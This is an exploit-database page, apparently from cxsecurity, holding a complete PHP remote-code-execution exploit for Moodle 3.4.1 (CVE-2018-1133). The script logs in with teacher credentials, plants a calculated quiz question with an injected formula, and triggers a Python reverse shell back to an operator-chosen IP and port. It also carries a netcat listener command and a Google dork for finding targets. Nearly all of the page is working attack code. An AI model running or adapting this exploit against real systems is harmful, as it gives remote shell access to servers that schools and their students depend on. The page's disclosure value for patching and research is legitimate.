Moodle 3.4.1 Remote Code Execution

2019.03.17
Credit: Darryn Ten
Risk: High
Local: No
Remote: Yes
CWE: CWE-74


CVSS Base Score: 6.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

<?php /** * Exploit Title: Moodle v3.4.1 RCE Exploit * Google Dork: inurl:"/course/jumpto.php?jump=" * Date: 15 March 2019 * Exploit Author: Darryn Ten * Vendor Homepage: https://moodle.org * Software Link: https://github.com/moodle/moodle/archive/v3.4.1.zip * Version: 3.4.1 (Possibly < 3.5.0 and maybe even 3.x) * Tested on: Linux with Moodle v3.4.1 * CVE : CVE-2018-1133 * * This exploit is based on information provided by Robin Peraglie. * Additional Reading: https://blog.ripstech.com/2018/moodle-remote-code-execution * * A user with the teacher role is able to execute arbitrary code. * * Usage: * * > php MoodleExploit.php url=http://example.com user=teacher pass=password ip=10.10.10.10 port=1010 course=1 * * user The account username * pass The password to the account * ip Callback IP * port Callback Port * course Valid course ID belonging to the teacher * * Make sure you're running a netcat listener on the specified port before * executing this script. * * > nc -lnvp 1010 * * This will attempt to open up a reverse shell to the listening IP and port. * * You can start the script with `debug=true` to enable debug mode. */ namespace exploit { class moodle { public $ip; public $port; public $courseId; public $cookie_jar; public $url; public $pass; public $payload; public $quizId = false; public $moodleSession = false; public $moodleKey; // Verification patterns public $loginSuccessMatch = "/course.view\.php/"; public $courseSuccessMatch = "/.\/i.Edit.settings.\/a./"; public $editSuccessMatch = "/.view.php\?id=2&notifyeditingon=1/"; public $quizSuccessMatch = "/.title.Editing.Quiz.\/title./"; public $quizConfigMatch = "/title.*xxxx.\/title./"; public $evilSuccess = "/The\ wild\ cards\ \<strong\>\{x..\}\<\/strong\>\ will\ be\ substituted/"; public $debug; public function __construct($url, $user, $pass, $ip, $port, $course, $debug) { $this->cookie_jar = tempnam("/tmp","cookie"); $this->url = $url; $this->pass = $pass; $this->ip = $ip; $this->port = $port; $this->courseId = $course; $this->debug = $debug; // Inject a reverse shell // You could modify this payload to inject whatever you like $this->payload = "(python+-c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect((\"".$this->ip."\",".$this->port."))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3b+os.dup2(s.fileno(),2)%3bp%3dsubprocess.call([\"/bin/sh\",\"-i\"])%3b')"; echo("\n\r"); echo("*------------------------------*\n\r"); echo("* Noodle [Moodle RCE] (v3.4.1) *\n\r"); echo("*------------------------------*\n\r"); echo("\n\r"); echo("[!] Make sure you have a listener\n\r"); echo(sprintf("[!] at %s:%s\n\r", $this->ip, $this->port)); echo("\n\r"); $this->login($url, $user, $pass); $this->loadCourse($this->courseId); $this->enableEdit(); $this->addQuiz(); $this->editQuiz(); $this->addCalculatedQuestion(); $this->addEvilQuestion(); $this->exploit(); echo "[*] DONE\n\r"; die(); } function login($url, $user, $pass) { echo(sprintf("[*] Logging in as user %s with password %s \n\r", $user, $pass)); $data = [ "anchor" => "", "username" => $user, "password" => $pass ]; $result = $this->httpPost("/login/index.php", $data); if (!preg_match($this->loginSuccessMatch, $result["body"])) { echo "[-] LOGIN FAILED!\n\r"; echo "[?] Do you have the right credentials and url?\n\r"; die(); } $matches = []; $cookies = preg_match_all("/MoodleSession=(.*); path=/", $result["header"], $matches); $this->moodleSession = $matches[1][1]; $matches = []; $key = preg_match_all("/sesskey\":\"(.*)\",\"themerev/", $result["body"], $matches); $this->moodleKey = $matches[1][0]; echo "[+] Successful Login\n\r"; echo sprintf("[>] Moodle Session %s \n\r", $this->moodleSession); echo sprintf("[>] Moodle Key %s \n\r", $this->moodleKey); } function loadCourse($id) { echo(sprintf("[*] Loading Course ID %s \n\r", $id)); $result = $this->httpGet(sprintf("/course/view.php?id=%s", $id), $this->moodleSession); if (!preg_match($this->courseSuccessMatch, $result["body"])) { echo "[-] LOADING COURSE FAILED!\n\r"; echo "[?] Does the course exist and belong to the teacher?\n\r"; die(); } echo "[+] Successfully Loaded Course\n\r"; } function enableEdit() { echo(sprintf("[*] Enable Editing\n\r")); $result = $this->httpGet(sprintf( "/course/view.php?id=%s&sesskey=%s&edit=on", $this->courseId, $this->moodleKey ), $this->moodleSession); if (!preg_match($this->editSuccessMatch, $result["header"])) { echo "[-] ENABLE EDITING FAILED!\n\r"; echo "[?] Does the user have the teacher role?\n\r"; die(); } echo "[+] Successfully Enabled Course Editing\n\r"; } function addQuiz() { echo(sprintf("[*] Adding Quiz\n\r")); $data = [ "course" => $this->courseId, "sesskey" => $this->moodleKey, "jump" => urlencode(sprintf( "/course/mod.php?id=%s&sesskey=%s&str=0&add=quiz&section=0", $this->courseId, $this->moodleKey )), ]; $result = $this->httpPost("/course/jumpto.php", $data, $this->moodleSession); if (!preg_match($this->quizSuccessMatch, $result["body"])) { echo "[-] ADD QUIZ FAILED!\n\r"; die(); } echo "[+] Successfully Added Quiz\n\r"; echo "[*] Configuring New Quiz\n\r"; $submit = [ "grade" => 10, "boundary_repeats" => 1, "completionunlocked" => 1, "course" => $this->courseId, "coursemodule" => "", "section" => 0, "module" => 16, "modulename" => "quiz", "instance" => "", "add" => "quiz", "update" => 0, "return" => 0, "sr" => 0, "sesskey" => $this->moodleKey, "_qf__mod_quiz_mod_form" => 1, "mform_showmore_id_layouthdr" => 0, "mform_showmore_id_interactionhdr" => 0, "mform_showmore_id_display" => 0, "mform_showmore_id_security" => 0, "mform_isexpanded_id_general" => 1, "mform_isexpanded_id_timing" => 0, "mform_isexpanded_id_modstandardgrade" => 0, "mform_isexpanded_id_layouthdr" => 0, "mform_isexpanded_id_interactionhdr" => 0, "mform_isexpanded_id_reviewoptionshdr" => 0, "mform_isexpanded_id_display" => 0, "mform_isexpanded_id_security" => 0, "mform_isexpanded_id_overallfeedbackhdr" => 0, "mform_isexpanded_id_modstandardelshdr" => 0, "mform_isexpanded_id_availabilityconditionsheader" => 0, "mform_isexpanded_id_activitycompletionheader" => 0, "mform_isexpanded_id_tagshdr" => 0, "mform_isexpanded_id_competenciessection" => 0, "name" => "xxxx", "introeditor[text]" => "<p>xxxx<br></p>", "introeditor[format]" => 1, "introeditor[itemid]" => 966459952, "showdescription" => 0, "overduehandling" => "autosubmit", "gradecat" => 1, "gradepass" => "", "attempts" => 0, "grademethod" => 1, "questionsperpage" => 1, "navmethod" => "free", "shuffleanswers" => 1, "preferredbehaviour" => "deferredfeedback", "attemptonlast" => 0, "attemptimmediately" => 1, "correctnessimmediately" => 1, "marksimmediately" => 1, "specificfeedbackimmediately" => 1, "generalfeedbackimmediately" => 1, "rightanswerimmediately" => 1, "overallfeedbackimmediately" => 1, "attemptopen" => 1, "correctnessopen" => 1, "marksopen" => 1, "specificfeedbackopen" => 1, "generalfeedbackopen" => 1, "rightansweropen" => 1, "overallfeedbackopen" => 1, "showuserpicture" => 0, "decimalpoints" => 2, "questiondecimalpoints" => -1, "showblocks" => 0, "quizpassword" => "", "subnet" => "", "browsersecurity" => "-", "feedbacktext[0][text]" => "", "feedbacktext[0][format]" => 1, "feedbacktext[0][itemid]" => 754687559, "feedbackboundaries[0]" => "", "feedbacktext[1][text]" => "", "feedbacktext[1][format]" => 1, "feedbacktext[1][itemid]" => 88204176, "visible" => 1, "cmidnumber" => "", "groupmode" => 0, "availabilityconditionsjson" => urlencode("{\"op\":\"&\",\"c\":[],\"showc\":[]}"), "completion" => 1, "tags" => "_qf__force_multiselect_submission", "competency_rule" => 0, "submitbutton" => "Save and display" ]; $result = $this->httpPost("/course/modedit.php", $submit, $this->moodleSession); if (!preg_match($this->quizConfigMatch, $result["body"])) { echo "[-] CONFIGURE QUIZ FAILED!\n\r"; die(); } $matches = []; $quiz = preg_match_all("/quiz\/view.php.id=(.*)&forceview=1/", $result["header"], $matches); $this->quizId = $matches[1][0]; echo "[+] Successfully Configured Quiz\n\r"; } function editQuiz() { echo(sprintf("[*] Loading Edit Quiz Page \n\r")); $result = $this->httpGet(sprintf("/mod/quiz/edit.php?cmid=%s", $this->quizId), $this->moodleSession); if (!preg_match("/.title.Editing quiz: xxxx.\/title/", $result["body"])) { echo "[-] LOADING EDITING PAGE FAILED!\n\r"; die(); } echo "[+] Successfully Loaded Edit Quiz Page\n\r"; } function addCalculatedQuestion() { echo(sprintf("[*] Adding Calculated Question \n\r")); $endpoint = "/question/question.php?courseid=".$this->courseId."&sesskey=".$this->moodleKey."&qtype=calculated&returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D".$this->quizId."%26addonpage%3D0&cmid=".$this->quizId."&category=2&addonpage=0&appendqnumstring=addquestion'"; $result = $this->httpGet($endpoint, $this->moodleSession); if (!preg_match("/title.Editing\ a\ Calculated\ question.\/title/", $result["body"])) { echo "[-] ADDING CALCULATED QUESTION FAILED!\n\r"; die(); } echo "[+] Successfully Added Calculation Question\n\r"; } function addEvilQuestion() { echo(sprintf("[*] Adding Evil Question \n\r")); $payload = [ "initialcategory" => 1, "reload" => 1, "shuffleanswers" => 1, "answernumbering" => "abc", "mform_isexpanded_id_answerhdr" => 1, "noanswers" => 1, "nounits" => 1, "numhints" => 2, "synchronize" => "", "wizard" => "datasetdefinitions", "id" => "", "inpopup" => 0, "cmid" => $this->quizId, "courseid" => 2, "returnurl" => sprintf("/mod/quiz/edit.php?cmid=%s&addonpage=0", $this->quizId), "scrollpos" => 0, "appendqnumstring" => "addquestion", "qtype" => "calculated", "makecopy" => 0, "sesskey" => $this->moodleKey, "_qf__qtype_calculated_edit_form" => 1, "mform_isexpanded_id_generalheader" => 1, "mform_isexpanded_id_unithandling" => 0, "mform_isexpanded_id_unithdr" => 0, "mform_isexpanded_id_multitriesheader" => 0, "mform_isexpanded_id_tagsheader" => 0, "category" => "2,23", "name" => "zzzz", "questiontext[text]" => "<p>zzzz<br></p>", "questiontext[format]" => 1, "questiontext[itemid]" => 999787569, "defaultmark" => 1, "generalfeedback[text]" => "", "generalfeedback[format]" => 1, "generalfeedback[itemid]" => 729029157, "answer[0]" => ' /*{a*/`$_GET[0]`;//{x}}', "fraction[0]" => "1.0", "tolerance[0]" => "0.01", "tolerancetype[0]" => 1, "correctanswerlength[0]" => 2, "correctanswerformat[0]" => 1, "feedback[0][text]" => "", "feedback[0][format]" => 1, "feedback[0][itemid]" => 928615051, "unitrole" => 3, "penalty" => "0.3333333", "hint[0]text]" => "", "hint[0]format]" => 1, "hint[0]itemid]" => 236679070, "hint[1]text]" => "", "hint[1]format]" => 1, "hint[1]itemid]" => 272691514, "tags" => "_qf__force_multiselect_submission", "submitbutton" => "Save change" ]; $result = $this->httpPost("/question/question.php", $payload, $this->moodleSession); if (!preg_match($this->evilSuccess, $result["body"])) { echo "[-] EVIL QUESTION CREATION FAILED!\n\r"; die(); } echo "[+] Successfully Created Evil Question\n\r"; } function exploit() { echo "[*] Sending Exploit\n\r"; echo "\n\r"; if ($this->debug) { echo "[D] Payload: \n\r"; echo sprintf("[>] %s \n\r", $this->payload); } $exploitUrl = sprintf( "/question/question.php?returnurl=%s&addonpage=0&appendqnumstring=addquestion&scrollpos=0&id=8&wizardnow=datasetitems&cmid=%s&0=(%s)", urlencode(sprintf( "/mod/quiz/edit.php?cmid=%s", $this->quizId) ), $this->quizId, $this->payload); if ($this->debug) { echo sprintf("[D] Exploit URL: %s \n\r", $exploitUrl); } echo sprintf("[>] You should receive a reverse shell attempt from the target at %s on port %s \n\r", $this->ip, $this->port); echo sprintf("[>] If connection was successful this program will wait here until you close the connection.\n\r"); echo sprintf("[>] You should be able to Ctrl+C and retain the connection through netcat.\n\r"); $this->httpGet($exploitUrl, $this->moodleSession); } function httpPost($url, $data, $session = false, $json = false) { if ($this->debug) { echo(sprintf("[D] Doing HTTP POST to URL: %s \n\r", $url)); echo(sprintf("[D] Session: %s \n\r", $session)); echo(sprintf("[D] Data: %s \n\r", json_encode($data))); echo("\n\r"); } $curl = curl_init(sprintf("%s%s", $this->url, $url)); $headers = []; if ($session) { array_push($headers, sprintf("Cookie: MoodleSession=%s", $session)); } if ($json) { array_push($headers, "Content-Type: application/json"); } else { $data = urldecode(http_build_query($data)); } curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_HTTPHEADER, $headers); curl_setopt($curl, CURLOPT_POSTFIELDS, $data); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_HEADER, true); curl_setopt($curl, CURLOPT_COOKIEJAR, $this->cookie_jar); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); $response = curl_exec($curl); $header_size = curl_getinfo($curl, CURLINFO_HEADER_SIZE); $header = substr($response, 0, $header_size); $body = substr($response, $header_size); if ($this->debug) { echo "[D] Response Header"; echo sprintf("[>] %s", $header); echo ""; echo "[D] Response Body"; echo sprintf("[>] %s", $body); } return [ "header" => $header, "body" => $body ]; } function httpGet($route, $session = false) { $url = sprintf("%s%s", $this->url, $route); if ($this->debug) { echo(sprintf("[D] Doing HTTP GET to URL: %s \n\r", $url)); echo("\n\r"); } $headers = []; if ($session) { array_push($headers, sprintf("Cookie: MoodleSession=%s", $session)); } $curl = curl_init($url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_HEADER, true); curl_setopt($curl, CURLOPT_HTTPHEADER, $headers); curl_setopt($curl, CURLOPT_COOKIEJAR, $this->cookie_jar); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); $response = curl_exec($curl); $header_size = curl_getinfo($curl, CURLINFO_HEADER_SIZE); $header = substr($response, 0, $header_size); $body = substr($response, $header_size); if ($this->debug) { echo "[D] Response Header"; echo sprintf("[>] %s", $header); echo ""; echo "[D] Response Body"; echo sprintf("[>] %s", $body); } return [ "header" => $header, "body" => $body ]; } } parse_str(implode("&", array_slice($argv, 1)), $_GET); $url = $_GET["url"]; $user = $_GET["user"]; $pass = $_GET["pass"]; $ip = $_GET["ip"]; $port = $_GET["port"]; $course = $_GET["course"]; $debug = isset($_GET["debug"]) ? true : false; new \exploit\moodle($url, $user, $pass, $ip, $port, $course, $debug); }


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top